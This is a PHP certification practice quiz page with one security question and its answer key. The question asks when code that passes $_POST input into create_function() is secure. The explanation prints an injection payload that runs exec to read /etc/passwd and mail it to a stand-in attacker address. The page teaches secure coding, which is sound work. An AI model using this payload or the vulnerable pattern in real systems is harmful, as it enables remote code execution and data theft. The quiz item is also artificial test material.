Zend Preparation | PHP Quiz (Learning Mode)

Security Learning Mode

Qusetions Index 67/185

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185

Under what circumstances can the following code be considered secure?

<?php
     $newfunc = create_function("$a", "return $a * {$_POST['number']};");
     $newfunc(10);
?>

Always- the worst case here is that the anonymous function newfunc() will always return a number

Only when register_globals is enabled

Never. The anonymous function newfunc() runs the risk of allowing the user to manipulate the math performed

Never. The anonymous function newfunct() runs the risk of allowing the user to execute arbitrary code on the server

Only if allow_url_fopen is enabled

Explanation:
The correct answer is D.
Even if it is hidden, this code snippet can allow the user to execute arbitrary code on the server. Although it is part of a math operation, consider what would happen if $_POST['number'] contained the following string:

(eval("exec('cat /etc/passwd | mail baduser@somewhere.com');")) ? 0 : 1

This would turn the anonymous function into:

return $a * (eval("exec('cat /etc/passwd | mail baduser@somewhere.com');")) ? 0 : 1;

Which effectively allows the user to execute arbitrary code within the eval() statement while still returning what might seem like a "valid" value. Any time code is being executed dynamically, for instance using create_function() or eval(), it is extremely important that the dynamic aspects of it be checked and re-checked to make sure no injections are possible!